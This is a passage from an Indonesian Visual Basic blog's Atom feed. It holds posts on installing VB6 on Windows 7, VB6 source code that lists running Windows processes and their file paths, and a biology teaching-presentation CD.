href="http://www.ziddu.com/download/13062845/BasicRemoteDesktop.rar.html"&gt;BasicRemoteDesktop.rar&lt;/a&gt; &lt;br /&gt;Aplikasi dibuat di windows XP dan jika dijalankan di Windows 7 maka klik kanan dan jalankan aplikasi sebagai Administrator. &lt;br /&gt;Semoga bermanfaat..Amin.&lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;ol&gt;&lt;/ol&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/4514115529383797736/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/12/basic-client-server.html#comment-form" rel="replies" title="22 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4514115529383797736" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4514115529383797736" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/12/basic-client-server.html" rel="alternate" title="Basic Client - Server" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s72-c/Client-Server.png" width="72"/><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-5701610655216573468</id><published>2010-12-07T22:59:00.001+07:00</published><updated>2010-12-07T23:18:49.445+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Tips Instalasi Visual Basic 6.0 di Windows 7</title><content type="html">Setelah lama malas tidak otak-atik VB 6.0 karena setelah VB 6.0 diinstal di windows 7 tampilan/komposisi dari layar acak-acakan maka malam ini aktifitas otak-atik dimulai lagi, ternyata tips untuk mengatasi hal tersebut simpel dan semoga dalam otak-atik nanti tidak mengalami gangguan compatible dengan windows 7 ultimate.&lt;br /&gt;Langsung saja Tips Instalasi VB 6.0 di Windows 7 :&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;1. Buka folder Visual Basic &lt;br /&gt;2. Cari file setup.exe&lt;br /&gt;3. Klik kanan setup.exe dan pilih Properties&lt;br /&gt;4. Sesuaikan Properties File setup.exe dengan gambar di bawah ini :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s1600/PropertiesSetup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s400/PropertiesSetup.png" width="362" /&gt;&lt;/a&gt;&lt;/div&gt;5. Setelah selesai lakukan Instalasi seperti biasa, dan jika muncul peringatan seperti gambar di bawah ini klik Run Program.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/TP5X5lZd4OI/AAAAAAAAAXU/eU07nWFkshY/s1600/RunProgram.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="186" src="http://4.bp.blogspot.com/_48czvH0DaKc/TP5X5lZd4OI/AAAAAAAAAXU/eU07nWFkshY/s400/RunProgram.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;6. Setelah selesai silahkan buka Project maka tampilan/komposisi layar Visual Basic sudah tidak acak-acakan lagi dan kembali seperti tampilan Windows XP SP 2, karena pada properties Setup.exe Tab Compability kita telah mencentang Disable Visual Themes, Disable Desktop Composition, Disable Display Scaling on high DPI Settings dan juga Run As Administrator.&lt;br /&gt;7. Semoga bermanfaat.</content><link href="http://vbasiccode.blogspot.com/feeds/5701610655216573468/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/12/tips-instalasi-visual-basic-60-di.html#comment-form" rel="replies" title="32 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5701610655216573468" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5701610655216573468" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/12/tips-instalasi-visual-basic-60-di.html" rel="alternate" title="Tips Instalasi Visual Basic 6.0 di Windows 7" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://1.bp.blogspot.com/_48czvH0DaKc/TP5XDICIB7I/AAAAAAAAAXM/3bjubLxrlyk/s72-c/PropertiesSetup.png" width="72"/><thr:total>32</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-3124526266646033226</id><published>2010-09-07T01:03:00.005+07:00</published><updated>2010-12-25T23:56:28.843+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basic"/><category scheme="http://www.blogger.com/atom/ns#" term="FileFolderFunction"/><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Path Windows Proccess</title><content type="html">Kadang pada saat membuat aplikasi yang berhubungan dengan keamanan suatu system windows maka diperlukan suatu progran yang dapat mendeteksi alamat/path suatu file yang sedang berjalan/melakukakan proses di windows... apakah file target tersebut akan ditutup prosesnya ataukah akan dihapus.&lt;br /&gt;Kali ini kita hanya akan membuat suatu program yang berfungsi untuk mengetahui alamat/path suatu file yang sedang berjalan berdasarkan Process ID (PID) file tersebut, jika lebih kreaatif tentu nanti dapat ditambahkan fungsi-fungsi "Protector" lainnya misalkan menutup/close file, mendapatkan sign/tanda crc32 file tersebut atau juga dapat menghapus file tersebut dari konputer kita. Langsung saja ini source codenya... &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s1600/PathWinProccess.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="337" src="http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s400/PathWinProccess.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Masukkan source code ini pada form..&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="   margin: 0px;   padding: 3px;   border: 1px inset;   width: 500px;   height: 498px;   text-align: left;   overflow: auto"&gt;&lt;span style="font-size: x-small;"&gt;Private Sub CmdRefresh_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Timer1.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command1_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmAbout.Show&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Load()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Unload(Cancel As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub ListProsesAktif_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.ListIndex = ListProsesAktif.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblFileProcess.Caption = " " &amp;amp; PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim tell As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;tell = ListProsesAktif.ListIndex + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = tell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Timer1.Enabled = False Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.ListIndex = ListProsesAktif.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub ListProsesAktif_Scroll()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstIDProcess_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LstIDProcess.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.TopIndex = LstIDProcess.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.ListIndex = LstIDProcess.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstIDProcess_Scroll()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.TopIndex = LstIDProcess.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstPathFile_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.Selected(LstPathFile.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = LstPathFile.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.ListIndex = LstPathFile.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.ToolTipText = LstPathFile.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Timer1_Timer()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Second(Now) Mod 1 = 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If LblIndexListProses.Caption = 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LblIndexListProses.Caption) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = LblIndexListProses.Caption + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;' otomatis index terseleksi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.AddItem PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LblIndexListProses.Caption - 1) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = LblIndexListProses.Caption + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.AddItem PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If ListProsesAktif.Selected(LstIDProcess.NewIndex) = True Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Timer1.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Masukkan code ini pada module&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="   margin: 0px;   padding: 3px;   border: 1px inset;   width: 500px;   height: 498px;   text-align: left;   overflow: auto"&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function Process32First Lib "kernel32" (ByVal _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot As Long, lppe As PROCESSENTRY32) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function Process32Next Lib "kernel32" (ByVal _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot As Long, lppe As PROCESSENTRY32) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Enum the path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const MAX_PATH As Integer = 260&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const TH32CS_SNAPALL = (&amp;amp;H1 Or &amp;amp;H2 Or &amp;amp;H4 Or &amp;amp;H8)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Const PROCESS_QUERY_INFORMATION As Long = &amp;amp;H400&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Const PROCESS_VM_READ = &amp;amp;H10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function EnumProcessModules Lib "psapi.dll" ( _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hProcess As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByRef lphModule As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal cb As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByRef cbNeeded As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function GetModuleFileNameExA Lib "psapi.dll" ( _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hProcess As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hModule As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal ModuleName As String, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal nSize As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Type PROCESSENTRY32&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dwSize As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;cntUsage As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ProcessID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32DefaultHeapID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ModuleID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;cntThreads As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ParentProcessID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;pcPriClassBase As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dwFlags As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;szExeFile As String * 260&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Type&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Function Update()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim hSnapshot As Long, uProcess As PROCESSENTRY32, R As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstIDProcess.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstPathFile.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&amp;amp;)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;uProcess.dwSize = Len(uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;R = Process32First(hSnapshot, uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Do While R&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.AddItem Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) &amp;gt; 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.ItemData(FrmMain.ListProsesAktif.NewIndex) = uProcess.th32ProcessID&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstIDProcess.AddItem (uProcess.th32ProcessID)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;R = Process32Next(hSnapshot, uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.TxtSumProcess.Caption = FrmMain.ListProsesAktif.ListCount &amp;amp; " Win Process"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Loop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;CloseHandle hSnapshot&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Function&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Function PathByPID(pid As Long) As String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Fungsi ini berfungsi untuk mendapatkan informasi tentang aplikasi yang sedang&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'berjalan dengan menggunakan Process ID masing-masing aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'----&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Kode ini dapat dilihat di :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'http://support.microsoft.com/default.aspx?scid=kb;en-us;187913&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim cbNeeded As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim Modules(1 To 200) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim ret As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim ModuleName As String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim nSize As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim hProcess As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hProcess = OpenProcess(PROCESS_QUERY_INFORMATION _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Or PROCESS_VM_READ, 0, pid)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If hProcess &amp;lt;&amp;gt; 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = EnumProcessModules(hProcess, Modules(1), _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;200, cbNeeded)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If ret &amp;lt;&amp;gt; 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ModuleName = Space(MAX_PATH)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;nSize = 500&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = GetModuleFileNameExA(hProcess, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Modules(1), ModuleName, nSize)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = Left(ModuleName, ret)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = CloseHandle(hProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If PathByPID = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Left(PathByPID, 4) = "\??\" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Left(PathByPID, 12) = "\SystemRoot\" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.Selected(ListProsesAktif.NewIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Function&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Semoga bermanfaat&lt;br /&gt;Download &lt;a href="http://www.ziddu.com/download/11556004/PathWinProccess.rar.html"&gt;PathWinProccess&lt;/a&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/3124526266646033226/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/09/path-windows-proccess.html#comment-form" rel="replies" title="8 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/3124526266646033226" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/3124526266646033226" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/09/path-windows-proccess.html" rel="alternate" title="Path Windows Proccess" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s72-c/PathWinProccess.PNG" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1600765784947660284</id><published>2010-08-22T23:41:00.002+07:00</published><updated>2021-10-01T01:54:02.919+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type="text">Membuat CD Presentasi Pembelajaran Biologi Bab Virus</title><content type="html">Pertengahan tahun 2009 yang lalu saya mendapatkan panggilan untuk sertifikasi guru, tentu saja bidang studi Biologi. Untuk bahan-bahan yang dikumpulkan antara lain SK (surat Keputusan) selama kita menjadi guru, RPP, media pengajaran dan lain-lain. Untuk media pengajaran karena media presentasi berupa power point juga sudah banyak yang bisa maka saya berusaha membuat media pengajaran yang berbeda dari kebanyakan yaitu berupa CD presentasi pembelajaran interaktif dengan Visual basic sebanyak 5 buah, dan alhamdulillah kesemuanya mendapatkan poin/penilaian. Disini akan saya bagikan file aplikasi presentasi tersebut, salah satunya adalah CD Pembelajaran Bab Virus.&lt;br /&gt;Aplikasi presentasi ini bersifat fleksibel sehingga anda dapat menggunakannya untuk materi-materi yang lainnya misalkan membuat presentasi bab Protista, Bab Fungi dan lain-lain. Dan andapun dapat menuliskan nama, sekolah, kelas anda untuk menggantikan identitas saya.&lt;br /&gt;Untuk lebih jelasnya anda dapat mengotak-atik sendiri file-file yang telah ada dan kemudian menjalankan aplikasi tersebut, otak-atik lagi dan jalankan lagi..hehe..&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maaf Link Download untuk Bab Virus terdeteksi oleh google tertular Virus mungkin karena mengandung kata-kata virus hehe.., sehingga saya upload yang Bab Monera &lt;a href="https://docs.google.com/file/d/0B17lWDxDzoE8WXZrMm1QUENFME0/edit?usp=sharing" target="_blank"&gt;Klik Disini untuk dowloadnya&lt;/a&gt;.&lt;br /&gt;Terimakasih telah membaca dan berkunjung</content><link href="http://vbasiccode.blogspot.com/feeds/1600765784947660284/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/08/membuat-cd-presentasi-pembelajaran-bab.html#comment-form" rel="replies" title="8 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1600765784947660284" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1600765784947660284" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/08/membuat-cd-presentasi-pembelajaran-bab.html" rel="alternate" title="Membuat CD Presentasi Pembelajaran Biologi Bab Virus" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" 